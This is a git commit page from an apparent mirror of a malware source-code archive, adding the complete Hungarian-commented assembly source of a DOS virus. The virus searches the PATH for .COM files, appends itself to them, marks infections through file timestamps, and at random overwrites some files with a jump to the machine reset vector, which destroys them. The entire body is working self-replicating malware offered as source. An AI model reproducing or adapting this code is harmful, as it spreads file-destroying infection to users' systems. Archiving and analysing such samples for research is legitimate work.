mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,230 @@
|
||||
PAGE ,132
|
||||
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:VIRUS,DS:VIRUS
|
||||
|
||||
HOSSZ EQU VEG-KEZDET
|
||||
KEZDET EQU $
|
||||
|
||||
INDIT: PUSH CX
|
||||
TBLC: MOV DX,OFFSET TABL
|
||||
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
|
||||
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
|
||||
ADD SI,OFFSET FILKEZ-TABL
|
||||
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
||||
MOV CX,3
|
||||
REPZ MOVSB
|
||||
MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
|
||||
MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
|
||||
INT 21H
|
||||
CMP AL,0 ; MEG AZ 1.X VERZIO?
|
||||
JNZ IND1 ; NEM
|
||||
JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
|
||||
IND1: PUSH ES ; ES ELMENTESE
|
||||
MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
|
||||
INT 21H ; ES ELTAROLASA A TABLAZATBAN
|
||||
MOV WORD PTR [SI+DTACIM-TABL],BX
|
||||
MOV WORD PTR [SI+DTACIM-TABL+2],ES
|
||||
POP ES ; ES VISSZAOLVASASA
|
||||
MOV DX,UJDTA-TABL
|
||||
ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES ; REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH ; A DOS KORNYEZET CIME
|
||||
MOV DI,0 ; ELEJETOL
|
||||
IND3: POP SI ; SI VISSZAOLVASASA
|
||||
PUSH SI ; ES VISSZAIRASA
|
||||
ADD SI,OFFSET SZOVEG-TABL
|
||||
LODSB ; EGY KARAKTER BETOLTESE
|
||||
MOV CX,8000H ; A KORNYEZET MAX. 32K
|
||||
REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
|
||||
MOV CX,OFFSET FSPEC-SZOVEG-1
|
||||
IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
|
||||
SCASB ; ES ELLENORZESE
|
||||
JNZ IND3 ; NEM EGYEZIK
|
||||
LOOP IND4 ; FOLYTATNI
|
||||
POP SI ; A REGISZTEREK VISSZAALLITASA
|
||||
POP ES
|
||||
MOV [SI+UTCIM-TABL],DI
|
||||
MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
MOV BX,SI ; SI ELMENTESE BX-BE
|
||||
ADD SI,OFFSET FSPEC-TABL
|
||||
MOV DI,SI
|
||||
JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
|
||||
INDE: CMP WORD PTR [SI+UTCIM-TABL],0
|
||||
JNZ IND6 ; VAN MEG TOBB UT
|
||||
JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
|
||||
IND6: PUSH DS ; A REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
|
||||
MOV DI,SI ; DI A TABLAZATRA MUTAT
|
||||
MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
IND8: LODSB ; EGY KARAKTER BETOLTESE
|
||||
CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
|
||||
JZ IND9 ; ANNAK A KODJA
|
||||
CMP AL,0 ; A LEZARO NULLA?
|
||||
JZ INDA ; AZ A KOD
|
||||
STOSB ; ELTAROLAS
|
||||
JMP SHORT IND8 ; FOLYTATNI
|
||||
INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
|
||||
IND9: POP BX ; BX A TABLAZAT KEZDOCIME
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
MOV [BX+UTCIM-TABL],SI
|
||||
CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
|
||||
JZ IND5 ; IGEN
|
||||
MOV AL,5CH ; A '\' KODJA
|
||||
STOSB ; ELTAROLASA
|
||||
IND5: MOV [BX+FAKT-TABL],DI
|
||||
MOV SI,BX ; A TABLAZAT KEZDOCIME BX
|
||||
ADD SI,OFFSET FKER-TABL ; KERESO NEV
|
||||
MOV CX,OFFSET UTCIM-FKER
|
||||
REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
MOV SI,BX ; SI A TABLAZAT KEZDOCIME
|
||||
MOV AH,4EH ; FILE KERESESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
MOV CX,11B ; A KERESETT ATTRIBUTUM
|
||||
INT 21H
|
||||
JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
|
||||
INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
|
||||
INT 21H
|
||||
INDC: JNC INDD ; MEGTALALTUK
|
||||
JMP INDE ; NINCS ITT TOBB HASONLO
|
||||
INDD: MOV AX,[SI+UJDTA-TABL+22]
|
||||
AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
|
||||
CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
|
||||
JZ INDF ; IGEN, TOVABB KELL KERESNI
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
|
||||
JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0AH
|
||||
JB INDF ; TUL KICSI FILE
|
||||
MOV DI,[SI+FAKT-TABL]
|
||||
PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
|
||||
ADD SI,OFFSET UJDTA-TABL+30
|
||||
INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
STOSB
|
||||
CMP AL,0 ; A NEV ZARO NULLA?
|
||||
JNZ INDG ; NEM, FOLYTATNI
|
||||
POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
|
||||
MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV [SI+FILATT-TABL],CX
|
||||
MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
|
||||
DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
JNC INDH ; NINCS HIBA
|
||||
JMP INDK ; HIBA TORTENT
|
||||
INDH: MOV BX,AX ; A FILESZAM ATVITELE
|
||||
MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
|
||||
INT 21H ; ES BEALLITASA
|
||||
MOV [SI+FILIDO-TABL],CX
|
||||
MOV [SI+FILDAT-TABL],DX
|
||||
MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
|
||||
INT 21H
|
||||
AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
|
||||
JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
|
||||
MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
|
||||
MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
|
||||
MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
|
||||
ADD DX,OFFSET RESET-TABL
|
||||
INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
|
||||
JMP INDJ ; ENNEK MAR BEVEGEZTETETT
|
||||
INDI: MOV AH,3FH ; OLVASAS A FILEBOL
|
||||
MOV CX,3 ; AZ ELSO HAROM BYTE
|
||||
MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
|
||||
ADD DX,SI
|
||||
INT 21H ; BEOLVASNI
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
|
||||
JNZ INDJ ; NEM, HIBA VOLT
|
||||
MOV AX,4202H ; MUTATO A FILE VEGERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; TORTENT HIBA?
|
||||
MOV CX,AX ; A FILE HOSSZA
|
||||
SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
|
||||
MOV [SI+UJKEZ-TABL+1],AX
|
||||
ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
|
||||
MOV DI,SI ; A TABLAZAT KEZDETE
|
||||
SUB DI,OFFSET TABL-TBLC-1
|
||||
MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
MOV DX,SI ; A TABLAZAT KEZDOCIME
|
||||
SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
|
||||
INT 21H ; KIIRAS
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
|
||||
JNZ INDJ ; NEM
|
||||
MOV AX,4200H ; MUTATO A FILE ELEJERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; HIBA TORTENT?
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
|
||||
MOV DX,SI
|
||||
ADD DX,OFFSET UJKEZ-TABL
|
||||
INT 21H ; KIIRAS
|
||||
INDJ: MOV DX,[SI+FILDAT-TABL]
|
||||
MOV CX,[SI+FILIDO-TABL]
|
||||
DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
|
||||
OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
|
||||
MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
|
||||
INT 21H ; ES A FERTOZES JELZESE
|
||||
MOV AH,3EH ; FILE LEZARASA
|
||||
INT 21H
|
||||
INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
|
||||
MOV CX,[SI+FILATT-TABL]
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
IND7: PUSH DS ; DS ELMENTESE
|
||||
MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
|
||||
MOV DX,WORD PTR [SI+DTACIM-TABL]
|
||||
MOV DS,WORD PTR [SI+DTACIM-TABL+2]
|
||||
INT 21H
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
IND2: POP CX
|
||||
XOR AX,AX ; AX=0
|
||||
XOR BX,BX ; BX=0
|
||||
XOR DX,DX ; DX=0
|
||||
XOR SI,SI ; SI=0
|
||||
MOV DI,100H ; 100H A VEREMBE
|
||||
PUSH DI
|
||||
XOR DI,DI ; DI=0
|
||||
RET 0FFFFH
|
||||
|
||||
TABL EQU $
|
||||
|
||||
DTACIM DD 0
|
||||
FILIDO DW 0
|
||||
FILDAT DW 0
|
||||
FILATT DW 0
|
||||
FILKEZ DB 0,0,0
|
||||
UJKEZ DB 0,0,0
|
||||
FKER DB '*.COM',0
|
||||
UTCIM DW 0
|
||||
FAKT DW 0
|
||||
SZOVEG DB 'PATH='
|
||||
FSPEC DB 40H DUP(' ')
|
||||
UJDTA DB 2BH DUP(0)
|
||||
RESET DB 0EAH,0F0H,0FFH,0,0F0H
|
||||
|
||||
VEG EQU $
|
||||
|
||||
VIRUS ENDS
|
||||
|
||||
END
|
||||
Reference in New Issue
Block a user